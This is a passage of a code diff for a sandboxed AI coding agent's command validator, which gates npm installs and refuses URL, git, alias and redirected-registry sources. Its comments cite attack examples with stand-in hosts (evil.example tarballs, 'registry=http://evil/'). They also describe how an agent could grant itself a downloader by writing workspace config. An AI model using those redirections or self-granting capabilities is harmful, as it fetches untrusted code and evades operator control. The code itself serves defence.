+ /** The admin route — an environment variable the agent has no verb that reaches. */
454
+ export const ALLOW_COMMANDS_ENV = 'ACUVO_ALLOW_COMMANDS';
455
+
456
+ /**
457
+ * ── ⚠️⚠️⭐ `npm install` — THE MOST DANGEROUS THING IN THIS PACKAGE, AND WHY
458
+ * IT IS NOT A PRESET ─────────────────────────────────────────────────────
459
+ *
460
+ * THE GAP, MEASURED: "add zod validation to this endpoint" is a first-ten-
461
+ * minutes request and it dead-ended. The agent writes `import { z } from 'zod'`,
462
+ * runs the file, gets ERR_MODULE_NOT_FOUND, and there is no verb in the package
463
+ * that can ever make that import resolve. Every allowlisted route — `npm
464
+ * install`, `npm ci`, `npx`, `bundle install`, `pip install`, `cargo add`,
465
+ * `go get` — is refused. A coding agent that cannot add a dependency is a
466
+ * coding agent that can only work on projects that already have every
467
+ * dependency it will ever need.
468
+ *
469
+ * ── ⚠️ SO WHY NOT JUST ADD IT TO `COMMAND_PRESETS`, LIKE `python`? ──────────
470
+ *
471
+ * Because the preset menu's entire safety argument, written at "WHY THE
472
+ * WORKSPACE FILE MAY ONLY PICK FROM A MENU" below, is this sentence:
473
+ *
474
+ * *"`write_file('.acuvo/commands.json', {"presets":["python"]})` buys the
475
+ * agent a second INTERPRETER for code it could already execute with `node`.
476
+ * It does not buy a shell, a DOWNLOADER, or a program of its choosing."*
477
+ *
478
+ * ⭐ An install preset makes that sentence FALSE. `.acuvo/commands.json` is a
479
+ * file this agent can write, so a preset named `npm-install` would be the agent
480
+ * granting itself a downloader in one `write_file` — and a downloader is
481
+ * categorically different from an interpreter: `node evil.js` runs code that is
482
+ * ON DISK and was written by tools that could not leave the workspace, while
483
+ * `npm install` runs code that arrived from a stranger thirty milliseconds ago
484
+ * and which nobody has read.
485
+ *
486
+ * ⭐ THEREFORE: install is gated on an ENVIRONMENT VARIABLE ONLY — the one door
487
+ * the agent has no verb that reaches. Exactly the shape `git.mjs` already uses
488
+ * for `ACUVO_ALLOW_PUSH` (the only other verb whose blast radius leaves this
489
+ * machine), and deliberately the same shape so an operator learns it once.
490
+ *
491
+ * ── ⚠️ AND THE COST OF THE GATE IS REAL, NOT HYPOTHETICAL ───────────────────
492
+ * The `polyglot` bench task fails precisely because a capability default is off.
493
+ * An over-tight gate is a measurable loss, not a free win. That is why the
494
+ * REFUSAL NAMES THE SWITCH (see `validateNpm`) rather than naming a rule: the
495
+ * agent that hits this wall can tell the human the exact variable to set, in
496
+ * the same round, instead of silently giving up. A capability nobody can find
497
+ * is the same as a capability that does not exist — this package has shipped
498
+ * that defect four times.
499
+ */
500
+ export const ALLOW_INSTALL_ENV = 'ACUVO_ALLOW_INSTALL';
501
+
502
+ /** ⚠️ Absent means OFF. Same parse as `git.mjs`'s `pushEnabled`, on purpose. */
503
+ export function installEnabled(env = process.env) {
504
+ const raw = String(env?.[ALLOW_INSTALL_ENV] ?? '').trim().toLowerCase();
505
+ return raw === '1' || raw === 'true' || raw === 'yes' || raw === 'on';
506
+ }
507
+
508
+ /**
509
+ * ⚠️ THE SUBCOMMANDS THAT FETCH. Bound to the NOUN rather than to a caller's
510
+ * boolean: `buildInvocation` re-derives "is this an install?" from the argv it
511
+ * is about to spawn, so a caller that forgets to pass a flag still gets
512
+ * `--ignore-scripts`. (A guard that depends on being told is a guard that will
513
+ * be satisfied by coincidence — this package has a memory of exactly that.)
514
+ */
515
+ const NPM_INSTALL_SUBCOMMANDS = new Set(['install', 'i', 'add', 'ci']);
516
+
517
+ /**
518
+ * ⚠️ FOUR, AND THE NUMBER IS AN ARGUMENT, NOT A ROUND FIGURE. Each name on an
519
+ * install line is an independent typosquat opportunity and an independent thing
520
+ * a human has to eyeball in the diff. One request ("add zod", "add express and
521
+ * its types") is one or two names; a line with nine is a model batching, which
522
+ * is the case where nobody reads any of them.
523
+ */
524
+ export const MAX_INSTALL_PACKAGES = 4;
525
+
526
+ /**
527
+ * ── ⚠️ THE ONE PLACE A CALLER'S TIMEOUT IS RAISED RATHER THAN OBEYED ────────
528
+ *
529
+ * Everywhere else in this package a requested timeout is honoured exactly,
530
+ * because clamping one up means the result says `timedOut: false` for a run that
531
+ * was never given the timeout it asked for (see `spawn-argv.mjs`'s
532
+ * `MIN_TIMEOUT_MS` for the full argument). An install is the deliberate
533
+ * exception, and the reason is that the two cases are not symmetric:
534
+ *
535
+ * · a short timeout elsewhere is a legitimate "is this hung?" probe, and
536
+ * killing the child costs nothing;
537
+ * · a short timeout on an install leaves `node_modules` HALF POPULATED — a
538
+ * state nobody chose, which the next command silently reads as "the package
539
+ * is installed" and fails in a way that looks like a bug in the code.
540
+ *
541
+ * ⚠️ AND IT IS NOT THEORETICAL: the tool dispatcher passes the 120s default
542
+ * command timeout to every `run_program` call, and a cold install of a real
543
+ * dependency tree exceeds that routinely. Without this floor the capability
544
+ * would ship as "works on a warm cache", which is the shape of a feature that
545
+ * passes its tests and fails its users.
546
+ */
547
+ export const INSTALL_MIN_TIMEOUT_MS = 300_000;
548
+
549
+ /**
550
+ * The ONLY flags an install may carry. A whitelist, like everything else here.
551
+ *
552
+ * ⚠️ `--ignore-scripts` is accepted and is a NO-OP — it is forced at spawn time
553
+ * regardless. Accepting it costs nothing and stops the model being punished for
554
+ * doing the safe thing it was told to do.
555
+ */
556
+ const INSTALL_FLAGS = new Set([
557
+ '--save-dev', '-D', '--save-prod', '-P', '--save-exact', '-E',
558
+ '--ignore-scripts', '--no-audit', '--no-fund', '--legacy-peer-deps',
559
+ ]);
560
+
561
+ /**
562
+ * Refusals that need a SENTENCE, because "not an allowed flag" reads like an
563
+ * omission and every one of these is a decision.
564
+ */
565
+ const REFUSED_INSTALL_FLAGS = new Map([
566
+ ['-g', 'a global install writes outside the workspace, which is the one thing the pinned cwd exists to prevent'],
567
+ ['--global', 'a global install writes outside the workspace, which is the one thing the pinned cwd exists to prevent'],
568
+ ['--prefix', 'it moves the install out of the workspace'],
569
+ ['--registry', 'it points the install at a registry nobody in this repository agreed to; the registry is the operator\'s choice, not the agent\'s'],
570
+ ['--no-save', 'an install that is not recorded in package.json vanishes on the next clean checkout and never appears in a diff — the whole point of adding a dependency is that the addition is reviewable'],
571
+ ['--no-package-lock', 'the lockfile is the record of exactly what was fetched; skipping it makes the install unreproducible'],
572
+ ['--force', 'it overrides the conflicts npm raises, which are the only signal that something is wrong'],
573
+ ['--no-ignore-scripts', 'install scripts are refused unconditionally here — see --ignore-scripts'],
574
+ ['--foreground-scripts', 'install scripts are refused unconditionally here — see --ignore-scripts'],
575
+ ['--unsafe-perm', 'it runs lifecycle scripts as the invoking user, and lifecycle scripts do not run here at all'],
576
+ ]);
577
+
578
+ /**
579
+ * ── ⚠️⚠️ WHAT A PACKAGE SPEC IS ALLOWED TO BE, AND WHAT IT CANNOT SAY ───────
580
+ *
581
+ * `npm install <spec>` accepts far more than a package name. All of these are
582
+ * legal npm and every one of them is a different program arriving:
583
+ *
584
+ * · `https://evil.example/x.tgz` — a tarball from anywhere
585
+ * · `git+ssh://git@host/x.git` — a repository from anywhere
586
+ * · `file:../../../etc` — a directory outside the workspace
587
+ * · `user/repo` — GitHub shorthand, no protocol needed
588
+ * · `zod@npm:evil-package` — an ALIAS: the name in package.json says
589
+ * `zod` and the code that lands is not zod
590
+ *
591
+ * ⭐ The alias is the nastiest, because the resulting `package.json` line reads
592
+ * as the package the human asked for. So this is a whitelist of shape: a
593
+ * REGISTRY NAME, optionally with a version, and nothing else. Every form above
594
+ * dies on the `:` rule or the `/` rule.
595
+ *
596
+ * ⚠️⚠️ WHAT THIS DOES **NOT** SOLVE, STATED PLAINLY BECAUSE PRETENDING WOULD BE
597
+ * WORSE THAN THE RISK: **a package NAME chosen by a language model is not
598
+ * safe.** `zod` and `zodd` are both perfectly-shaped registry names, and the
599
+ * Shai-Hulud npm worm shipped its payload inside AI coding-agent config files
600
+ * precisely because agents install what they are told to install. No regex
601
+ * distinguishes a typosquat from the real thing, and a blocklist of known-bad
602
+ * names would be stale the day it shipped — this file already refuses to build
603
+ * that kind of guard (see the shell argument).
604
+ *
605
+ * ⭐ WHAT ACTUALLY REDUCES THE BLAST RADIUS IS `--ignore-scripts`, FORCED: a
606
+ * typosquat that lands on disk has NOT executed. It becomes code in
607
+ * `node_modules` that only runs if the agent's own code imports it — which is
608
+ * the same risk class as `node <file the model wrote>`, the risk this package
609
+ * has always openly carried, rather than the strictly worse "arbitrary code ran
610
+ * during a command that looked like housekeeping".
611
+ *
612
+ * @param {string} spec one operand of an install command
613
+ */
614
+ export function validateInstallSpec(spec) {
615
+ const text = String(spec ?? '');
616
+ if (!text) return { ok: false, error: 'an empty package name is not a package' };
617
+ if (text.length > 214) return { ok: false, error: `"${text.slice(0, 40)}…" is longer than npm's 214-character limit, so it is not a package name` };
618
+ if (text.startsWith('-')) return { ok: false, error: `"${text}" starts with "-", so it is a flag npm does not have, not a package` };
619
+
620
+ /**
621
+ * ⚠️ `:` IS THE ONE CHARACTER THAT TURNS A NAME INTO A LOCATION. `npm:`,
622
+ * `file:`, `git+ssh:`, `https:` — all of them. Refused before anything else
623
+ * so no later rule has to be clever about protocols.
624
+ */
625
+ if (text.includes(':')) {
626
+ return { ok: false, error: `"${text}" names a location rather than a registry package (":" appears in it). URL, git, file: and npm: alias specs are refused — an alias in particular makes package.json say one name while a different package lands. Install by registry name only, e.g. "zod" or "zod@4.1.12".` };
627
+ }
628
+ if (text.includes('\\')) return { ok: false, error: `"${text}" contains a backslash, so it is a path, not a package name` };
629
+
630
+ const at = text.startsWith('@') ? text.indexOf('@', 1) : text.indexOf('@');
631
+ const name = at === -1 ? text : text.slice(0, at);
632
+ const version = at === -1 ? null : text.slice(at + 1);
633
+
634
+ if (name.startsWith('@')) {
635
+ // A scope is the ONLY legal `/`. `user/repo` (GitHub shorthand) has no `@`
636
+ // and therefore never reaches this branch — it dies on the rule below.
637
+ const parts = name.slice(1).split('/');
638
+ if (parts.length !== 2 || !parts[0] || !parts[1]) {
639
+ return { ok: false, error: `"${name}" is not a scoped package name — it must be exactly @scope/name` };
640
+ }
641
+ if (!isPlainPackageWord(parts[0]) || !isPlainPackageWord(parts[1])) {
642
+ return { ok: false, error: `"${name}" is not a valid scoped package name (lowercase letters, digits, . _ - only)` };
643
+ }
644
+ } else {
645
+ if (name.includes('/')) {
646
+ return { ok: false, error: `"${name}" contains "/" without a leading "@", which is GitHub shorthand for a repository — that fetches code from outside the registry and is refused. Use the published package name.` };
647
+ }
648
+ if (!isPlainPackageWord(name)) {
649
+ return { ok: false, error: `"${name}" is not a valid npm package name (lowercase letters, digits, . _ - only, and it may not begin with . or _)` };
650
+ }
651
+ }
652
+
653
+ if (version !== null) {
654
+ const v = validateInstallVersion(version, text);
655
+ if (!v.ok) return v;
656
+ }
657
+ return { ok: true, name, version };
658
+ }
659
+
660
+ /** npm's own name rule, minus the historical uppercase names nobody publishes. */
661
+ function isPlainPackageWord(word) {
662
+ return /^[a-z0-9][a-z0-9._-]*$/.test(word);
663
+ }
664
+
665
+ /**
666
+ * ⚠️ A VERSION, NOT A RANGE EXPRESSION. `zod@4.1.12`, `zod@^4`, `zod@latest`
667
+ * are all a human can check at a glance. `zod@>=1 || <9`, `zod@*` and `zod@x`
668
+ * are ranges whose resolved answer changes between two runs of the same
669
+ * command, which makes the receipt below a lie. Narrow on purpose.
670
+ */
671
+ const INSTALL_DIST_TAGS = new Set(['latest', 'next', 'beta', 'alpha', 'rc', 'canary']);
672
+ function validateInstallVersion(version, whole) {
673
+ if (!version) return { ok: false, error: `"${whole}" ends with "@" and no version` };
674
+ if (INSTALL_DIST_TAGS.has(version)) return { ok: true };
675
+ if (!/^[~^]?[0-9]+(\.[0-9]+)*(-[0-9A-Za-z.]+)?(\+[0-9A-Za-z.]+)?$/.test(version)) {
676
+ return {
677
+ ok: false,
678
+ error: `"${version}" is not a version this agent may ask for. Use an exact version (4.1.12), a caret or tilde on one (^4.1.12), or a dist-tag (${[...INSTALL_DIST_TAGS].join(', ')}). A range expression resolves differently on different days, so what was installed could not be stated afterwards.`,
679
+ };
680
+ }
681
+ return { ok: true };
682
+ }
683
+
684
+ /**
685
+ * ── ⚠️⚠️⭐ THE WORKSPACE `.npmrc` UNDOES EVERYTHING ABOVE, AND THE AGENT CAN
686
+ * WRITE IT ────────────────────────────────────────────────────────────────
687
+ *
688
+ * npm reads `<workspace>/.npmrc` before the user's and the global one. It is a
689
+ * file inside the workspace, so `write_file('.npmrc', 'registry=http://evil/')`
690
+ * is one tool call — and after it, `npm install zod` fetches "zod" from a
691
+ * machine of the attacker's choosing while every check in this file still
692
+ * passes, because the SPEC was perfectly valid. That is the same shape as the
693
+ * `package.json` scripts bypass this module already closes, arriving through a
694
+ * different file.
695
+ *
696
+ * ⭐ So the install refuses when the workspace `.npmrc` changes WHERE code comes
697
+ * from or WHETHER scripts run. Note the asymmetry, which is deliberate:
698
+ * `ignore-scripts=true` is fine (it is stricter than us); `ignore-scripts=false`
699
+ * refuses, even though the forced CLI flag would beat it — because a repository
700
+ * that asks for install scripts is a repository whose install a human should
701
+ * run, and refusing says so instead of silently doing something else.
702
+ *
703
+ * ⚠️ ONLY THE WORKSPACE FILE IS INSPECTED. `~/.npmrc` and the global config are
704
+ * the operator's, the agent cannot write them, and second-guessing them would
705
+ * break every corporate registry on earth.
706
+ *
707
+ * @param {string} text contents of the workspace `.npmrc`
708
+ */
709
+ export function inspectNpmrcForInstall(text) {
710
+ const lines = String(text ?? '').split(/\r?\n/);
711
+ for (const raw of lines) {
712
+ const line = raw.trim();
713
+ if (!line || line.startsWith('#') || line.startsWith(';') || line.startsWith('[')) continue;
714
+ const eq = line.indexOf('=');
715
+ if (eq === -1) continue;
716
+ const key = line.slice(0, eq).trim().toLowerCase();
717
+ const value = line.slice(eq + 1).trim().replace(/^["']|["']$/g, '');
718
+ if (key === 'registry' || key.endsWith(':registry')) {
719
+ if (!/^https:\/\/registry\.npmjs\.org\/?$/i.test(value)) {
720
+ return { ok: false, error: `.npmrc in this workspace points ${key} at ${JSON.stringify(value)}. That file is inside the workspace, so the agent can write it — an install that honoured it would fetch code from a host nobody in this repository agreed to. Remove the line, or run this install yourself.` };
721
+ }
722
+ continue;
723
+ }
724
+ if (key === 'ignore-scripts' && /^(false|0|no|off)$/i.test(value)) {
725
+ return { ok: false, error: '.npmrc in this workspace sets ignore-scripts=false. Install scripts never run through this agent, so this repository\'s install is one a human should run.' };
726
+ }
727
+ if (key === 'script-shell' || key === 'shell') {
728
+ return { ok: false, error: `.npmrc in this workspace sets ${key}, which chooses the program npm hands scripts to. A shell is the one thing no layer of this package will select.` };
729
+ }
730
+ if (key === 'unsafe-perm' && /^(true|1|yes|on)$/i.test(value)) {
731
+ return { ok: false, error: '.npmrc in this workspace sets unsafe-perm=true, which exists only to make lifecycle scripts run with more privilege. They do not run here at all.' };
732
+ }
733
+ }
734
+ return { ok: true };
735
+ }
736
+
737
+ /**
738
+ * ── ⚠️⚠️ THE THIRD DOOR INTO THE SAME ROOM ─────────────────────────────────
739
+ *
740
+ * `validateInstallSpec` refuses a URL, a git repo, `user/repo` and an `npm:`
741
+ * alias — WHEN THE AGENT TYPES IT AS AN OPERAND. `inspectNpmrcForInstall`
742
+ * refuses a redirected registry. Both exist because the workspace is writable.
743
+ *
744
+ * ⚠️ AND `package.json` NAMES THE SAME THINGS, WITH NO OPERAND AT ALL. A bare
745
+ * `npm install` takes zero packages, so `validateNpmInstall` collected an empty
746
+ * list, returned ok, and npm then read the manifest the cloned repository
747
+ * shipped. Reproduced by an adversarial pass: a manifest naming
748
+ * `"zod": "http://127.0.0.1:PORT/anything.tgz"` fetched from the attacker's
749
+ * host, landed the tarball as `node_modules/zod`, exited 0 — and the receipt
750
+ * said `installed: []`, because no operand was ever typed. Every check in this
751
+ * file passed, correctly, on a command that had nothing to check.
752
+ *
753
+ * ⭐ THE RULE IS "NOT A LOCATION", NOT "A TIDY VERSION". This is deliberately
754
+ * LOOSER than `validateInstallVersion`, and the reason is whose choice it is.
755
+ * An operand is the AGENT's choice, so we can insist on a version a human can
756
+ * check at a glance. A manifest is the PROJECT's, already written, and
757
+ * `">=17"`, `"1.x"` and `"*"` are all over real repositories — refusing them
758
+ * would fail correct work, which this package has paid for four times in one
759
+ * day. So the only question asked here is WHERE THE CODE COMES FROM.
760
+ *
761
+ * ⭐ LOCAL PROTOCOLS ARE ALLOWED and that is not an oversight: `file:`,
762
+ * `link:`, `portal:` and `workspace:` fetch nothing from a network. They are
763
+ * how every monorepo on earth refers to its own packages, and lifecycle scripts
764
+ * are already off, so the worst one can do is symlink a directory that is
765
+ * already on this machine.
766
+ *
767
+ * ⚠️ `npm:` IS REFUSED THOUGH IT FETCHES FROM THE REGISTRY, because the
768
+ * resulting `package.json` line reads as the package the human asked for while
769
+ * a different one lands — the same argument `validateInstallSpec` already makes
770
+ * for the operand form, and it calls that one the nastiest.
771
+ *
772
+ * @param {string} text contents of the workspace `package.json`
773
+ */
774
+ export function inspectManifestForInstall(text) {
775
+ let pkg;
776
+ try { pkg = JSON.parse(String(text ?? '')); } catch (err) {
777
+ return { ok: false, error: `package.json is not valid JSON, so what it would install cannot be checked: ${err instanceof Error ? err.message : String(err)}` };
778
+ }
779
+ if (!pkg || typeof pkg !== 'object') return { ok: true };
780
+
781
+ const refused = [];
782
+ const check = (where, name, raw) => {
783
+ const why = manifestSpecRefusal(String(raw ?? ''));
784
+ if (why) refused.push(`${where}"${name}": ${JSON.stringify(String(raw))} — ${why}`);
785
+ };
786
+ for (const field of ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies']) {
787
+ const deps = pkg[field];
788
+ if (!deps || typeof deps !== 'object' || Array.isArray(deps)) continue;
789
+ for (const [name, raw] of Object.entries(deps)) check(`${field}.`, name, raw);
790
+ }
791
+ /**
792
+ * ⚠️⚠️ `overrides` IS THE SAME ATTACK WITH FAR MORE REACH. It redirects a
793
+ * TRANSITIVE dependency — one nobody reading the direct list would look at —
794
+ * and npm honours it. It nests arbitrarily, so this walks it.
795
+ */
796
+ const walkOverrides = (node, path) => {
797
+ if (!node || typeof node !== 'object' || Array.isArray(node)) return;
798
+ for (const [name, raw] of Object.entries(node)) {
799
+ if (typeof raw === 'string') check(`${path}`, name, raw);
800
+ else if (raw && typeof raw === 'object') {
801
+ if (typeof raw['.'] === 'string') check(`${path}`, `${name}.`, raw['.']);
802
+ walkOverrides(raw, `${path}${name}.`);
803
+ }
804
+ }
805
+ };
806
+ walkOverrides(pkg.overrides, 'overrides.');
807
+
808
+ if (refused.length === 0) return { ok: true };
809
+ return {
810
+ ok: false,
811
+ error: `package.json in this workspace installs code from outside the npm registry, so this install is refused:\n ${refused.slice(0, 8).join('\n ')}`
812
+ + (refused.length > 8 ? `\n …and ${refused.length - 8} more` : '')
813
+ + '\nThat file is inside the workspace and this agent can write it, and a cloned repository ships its own. '
814
+ + 'A dependency that comes from a URL, a git repo or an alias is one a human should install.',
815
+ };
816
+ }
817
+
818
+ /** Protocols that resolve to something already on this machine — no network. */
819
+ const LOCAL_DEP_PROTOCOLS = new Set(['file', 'link', 'portal', 'workspace']);
820
+
821
+ /** @returns {string|null} why this manifest spec is a location, or null if it is fine. */
822
+ function manifestSpecRefusal(spec) {
823
+ const text = spec.trim();
824
+ if (!text) return null; // npm treats "" as "*"; it is not a location.
825
+ const colon = text.indexOf(':');
826
+ if (colon > 0) {
827
+ const proto = text.slice(0, colon).toLowerCase();
828
+ if (LOCAL_DEP_PROTOCOLS.has(proto)) return null;
829
+ if (proto === 'npm') return 'an "npm:" alias makes this line name one package while a different one lands';
830
+ return `"${proto}:" fetches code from outside the registry`;
831
+ }
832
+ /**
833
+ * ⚠️ NO PROTOCOL NEEDED FOR THE GITHUB FORM. `user/repo`, `user/repo#branch`
834
+ * and `user/repo#commit` are all fetched from GitHub by npm with no scheme in
835
+ * sight — the shape a reader skims straight past.
836
+ */
837
+ if (text.includes('/')) return 'this is GitHub shorthand (user/repo), which fetches a repository rather than a registry package';
838
+ if (text.startsWith('.') || text.startsWith('~/')) return 'a bare path is resolved as a local directory, not a registry package';
839
+ return null;
840
+ }
841
+
842
+ /**
843
+ * ── ⚠️⚠️ AND THE LOCKFILE, WHICH THIS FILE USED TO CALL THE SAFEST ONE ──────
844
+ *
845
+ * `validateNpmInstall`'s comment said `npm ci` "installs exactly what the
846
+ * lockfile already records, which makes it the SAFEST member of this family: it
847
+ * introduces no name the repository has not already committed to." Every clause
848
+ * is true and the conclusion is backwards. In the threat model this whole file
849
+ * is written for — A REPOSITORY SOMEBODY ELSE WROTE — "the repository has
850
+ * committed to it" is the attack, not the reassurance. `package-lock.json`
851
+ * carries a `resolved` URL per package and npm fetches from it, so a hostile
852
+ * lockfile points anywhere while `package.json` reads as innocent registry
853
+ * names. Closing the manifest and leaving this open would be closing the front
854
+ * door and leaving the back one.
855
+ *
856
+ * ⭐ A `resolved` may be absent (npm omits it for bundled and local entries) and
857
+ * that is not suspicious. Only a PRESENT one that is not the registry is.
858
+ *
859
+ * @param {string} text contents of `package-lock.json`
860
+ */
861
+ export function inspectLockfileForInstall(text) {
862
+ let lock;
863
+ try { lock = JSON.parse(String(text ?? '')); } catch (err) {
864
+ return { ok: false, error: `package-lock.json is not valid JSON, so where it would fetch from cannot be checked: ${err instanceof Error ? err.message : String(err)}` };
865
+ }
866
+ if (!lock || typeof lock !== 'object') return { ok: true };
867
+
868
+ const offenders = [];
869
+ const visit = (node, where) => {
870
+ if (!node || typeof node !== 'object') return;
871
+ if (typeof node.resolved === 'string' && node.resolved && !isRegistryTarball(node.resolved)) {
872
+ offenders.push(`${where || '(root)'} ← ${node.resolved}`);
873
+ }
874
+ // v2/v3 lockfiles use `packages`; v1 uses `dependencies`. Both are walked,
875
+ // because a lockfile of either shape installs the same way.
876
+ for (const field of ['packages', 'dependencies']) {
877
+ const kids = node[field];
878
+ if (!kids || typeof kids !== 'object' || Array.isArray(kids)) continue;
879
+ for (const [name, child] of Object.entries(kids)) visit(child, name || where);
880
+ }
881
+ };
882
+ visit(lock, '');
883
+
884
+ if (offenders.length === 0) return { ok: true };
885
+ return {
886
+ ok: false,
887
+ error: `package-lock.json in this workspace fetches code from outside the npm registry, so this install is refused:\n ${offenders.slice(0, 8).join('\n ')}`
888
+ + (offenders.length > 8 ? `\n …and ${offenders.length - 8} more` : '')
889
+ + '\nA lockfile records WHERE each package comes from, not only its name, so an innocent-looking package.json '
890
+ + 'can still install somebody else\'s code. This is an install a human should run.',
891
+ };
892
+ }
893
+
894
+ /** The one host an install may fetch a tarball from. */
895
+ function isRegistryTarball(url) {
896
+ try {
897
+ const u = new URL(String(url));
898
+ return u.protocol === 'https:' && u.hostname.toLowerCase() === 'registry.npmjs.org';
899
+ } catch {
900
+ return false;
901
+ }
902
+ }
903
+
904
+ /**
905
+ * `npm install [flags] [pkg…]` / `npm ci [flags]`, as a pure decision.
906
+ *
907
+ * ⚠️ `ci` TAKES NO PACKAGES BY DEFINITION — it installs exactly what the
908
+ * lockfile already records, and it introduces no name the repository has not
909
+ * already committed to.
910
+ *
911
+ * ⚠️⚠️ THIS USED TO CONCLUDE "WHICH MAKES IT THE SAFEST MEMBER OF THIS FAMILY",
912
+ * AND THAT IS BACKWARDS. Every clause above is true; the conclusion inverts the
913
+ * threat model the rest of this file is written for. A REPOSITORY SOMEBODY ELSE
914
+ * WROTE is the case that matters, and there "the repository has already
915
+ * committed to it" is the attack rather than the reassurance —
916
+ * `package-lock.json` carries a `resolved` URL per package and npm fetches from
917
+ * it. Taking no operands does not make a command safe; it makes it a command
918
+ * with nothing for THIS function to check. See `inspectLockfileForInstall`.
919
+ *
920
+ * @param {string} command the original string, echoed back on success
921
+ * @param {string[]} tokens `['npm', 'install', …]`
922
+ */
923
+ function validateNpmInstall(command, tokens) {
924
+ const sub = tokens[1];
925
+ const rest = tokens.slice(2);
926
+ const packages = [];
927
+ for (const token of rest) {
928
+ if (token.startsWith('-')) {
929
+ // ⚠️ `--flag=value` is split so `--registry=http://evil` cannot slip past
930
+ // a check that only looked at whole tokens.
931
+ const head = token.includes('=') ? token.slice(0, token.indexOf('=')) : token;
932
+ const why = REFUSED_INSTALL_FLAGS.get(head);
933
+ if (why) return { ok: false, error: `npm ${sub} ${head} is refused — ${why}.` };
934
+ if (!INSTALL_FLAGS.has(token)) {
935
+ return { ok: false, error: `"${token}" is not a flag this agent may pass to npm ${sub}. Allowed: ${[...INSTALL_FLAGS].join(', ')}.` };
936
+ }
937
+ continue;
938
+ }
939
+ const spec = validateInstallSpec(token);
940
+ if (!spec.ok) return spec;
941
+ packages.push({ raw: token, name: spec.name, version: spec.version ?? null });
942
+ }
943
+
944
+ if (sub === 'ci' && packages.length) {
945
+ return { ok: false, error: 'npm ci installs exactly what package-lock.json already records and takes no package names. To add a new dependency use "npm install <package>".' };
946
+ }
947
+ if (packages.length > MAX_INSTALL_PACKAGES) {
948
+ return { ok: false, error: `${packages.length} packages in one install is more than the ${MAX_INSTALL_PACKAGES} allowed here — install them in separate steps so each name is visible on its own line of the transcript.` };
949
+ }
950
+ return { ok: true, command, tokens, binary: 'npm', npmInstall: { sub, packages } };
951
+ }
952
+
953
+ /**
954
+ * ── ⚠️⚠️ WHY THE WORKSPACE FILE MAY ONLY PICK FROM A MENU ───────────────────
955
+ *
956
+ * `policy.mjs` states the problem exactly: **the config lives in the workspace,
957
+ * and the agent can write to the workspace.** It solves it by making every
958
+ * policy field monotone downward — a layer can only ever REMOVE permission, so
959
+ * a hostile `.acuvo/policy.json` is a denial of service against itself.
960
+ *
961
+ * An allowlist of programs cannot be monotone downward: the whole point is to
962
+ * ADD. So the same problem needs a different answer, and the answer is to bound
963
+ * what the addition can possibly be:
964
+ *
965
+ * **`.acuvo/commands.json` may name PRESETS and nothing else.** Every preset
966
+ * is a menu item this file vetted — a build/test driver for code already on
967
+ * disk. `write_file(".acuvo/commands.json", {"presets":["python"]})` therefore
968
+ * buys the agent a second interpreter for code it could already execute with
969
+ * `node`. It does not buy a shell, a downloader, or a program of its choosing.
970
+ *
971
+ * **An arbitrary binary can only be named in `ACUVO_ALLOW_COMMANDS`**, which
972
+ * is the parent process's environment. The agent has no verb that reaches it —
973
+ * same argument `policy.mjs` makes for `ACUVO_POLICY_FILE`, and it is why that
974
+ * variable, not the file, is the actual control.
975
+ *
976
+ * ⚠️ AND THE HONEST LIMIT OF THAT: a workspace file is a project CONVENTION,
977
+ * reviewable in a PR, adequate against mistakes. It is not a control against a
978
+ * determined agent, and nothing inside the workspace can be. What it IS, is
979
+ * bounded — which is the property that makes the difference survivable.
980
+ */
981
+ const CONFIG_KEYS = new Set(['presets', 'allow']);
982
+
983
+ /**
984
+ * The lookup a validator uses: which binaries exist, and the grammar for each.
985
+ * @typedef {{ binaries: string[], grammar: Map<string, BinaryGrammar> }} Allowlist
986
+ */
987
+
988
+ /** The built-in grammars for the original four, expressed in the same shape. */
989
+ const BUILTIN_GRAMMAR = new Map([
990
+ ['node', { builtin: 'node' }],
991
+ ['npm', { builtin: 'npm' }],
992
+ ['npx', { builtin: 'npx' }],
993
+ ['tsc', { builtin: 'tsc' }],
994
+ ]);
995
+
996
+ /** @type {Allowlist} */
997
+ export const DEFAULT_ALLOWLIST = Object.freeze({
998
+ binaries: Object.freeze([...ALLOWED_BINARIES]),
999
+ grammar: BUILTIN_GRAMMAR,
1000
+ });
1001
+
1002
+ /**
1003
+ * Assemble an allowlist from preset names and admin-declared binaries.
1004
+ *
1005
+ * ⚠️ ADDITIVE ONLY ON TOP OF THE FOUR. The default binaries are always present;
1006
+ * there is no configuration that REMOVES one, because that is `policy.mjs`'s job
1007
+ * (`forbidTools: ["run_command"]`) and two mechanisms for the same intent is how
1008
+ * they drift into disagreeing.
1009
+ *
1010
+ * @param {{ presets?: string[], allow?: Array<{ binary: string, flags?: string[] }> }} spec
1011
+ */
1012
+ export function buildAllowlist({ presets = [], allow = [] } = {}) {
1013
+ const grammar = new Map(BUILTIN_GRAMMAR);
1014
+ const binaries = [...ALLOWED_BINARIES];
1015
+ for (const name of presets) {
1016
+ const preset = COMMAND_PRESETS[name];
1017
+ /* c8 ignore next */
1018
+ if (!preset) continue; // parsing already refused unknown names
1019
+ for (const bin of preset.binaries) {
1020
+ if (!binaries.includes(bin)) binaries.push(bin);
1021
+ grammar.set(bin, { ...preset.grammar[bin], binary: bin, preset: name });
1022
+ }
1023
+ }
1024
+ for (const decl of allow) {
1025
+ if (!binaries.includes(decl.binary)) binaries.push(decl.binary);
1026
+ grammar.set(decl.binary, {
1027
+ binary: decl.binary,
1028
+ flags: new Set(decl.flags ?? []),
1029
+ valueFlags: new Set(decl.flags ?? []),
1030
+ resolve: 'path',
1031
+ /** ⚠️ Marks a binary whose grammar came from a human, not from us — the
1032
+ * refusal message has to say so, because "not an allowed flag" reads as
1033
+ * our decision when it was theirs. */
1034
+ custom: true,
1035
+ });
1036
+ }
1037
+ return { binaries, grammar };
1038
+ }
1039
+
1040
+ /** Which preset would unlock this binary? Used to make a refusal actionable. */
1041
+ function presetProviding(binary) {
1042
+ for (const [name, preset] of Object.entries(COMMAND_PRESETS)) {
1043
+ if (preset.binaries.includes(binary)) return name;
1044
+ }
1045
+ return null;
1046
+ }
1047
+
1048
+ function checkBinaryName(name, where) {
1049
+ if (typeof name !== 'string' || !name.trim()) {
1050
+ return { ok: false, error: `${where}: a binary name must be a non-empty string (got ${JSON.stringify(name)})` };
1051
+ }
1052
+ const bin = name.trim();
1053
+ // ⚠️ Same shape rule as everything else: a name, not a path. `../../bin/sh`
1054
+ // and `/bin/sh` are not binary names, they are an attempt to pick a file.
1055
+ if (!/^[A-Za-z0-9][A-Za-z0-9._-]*$/.test(bin)) {
1056
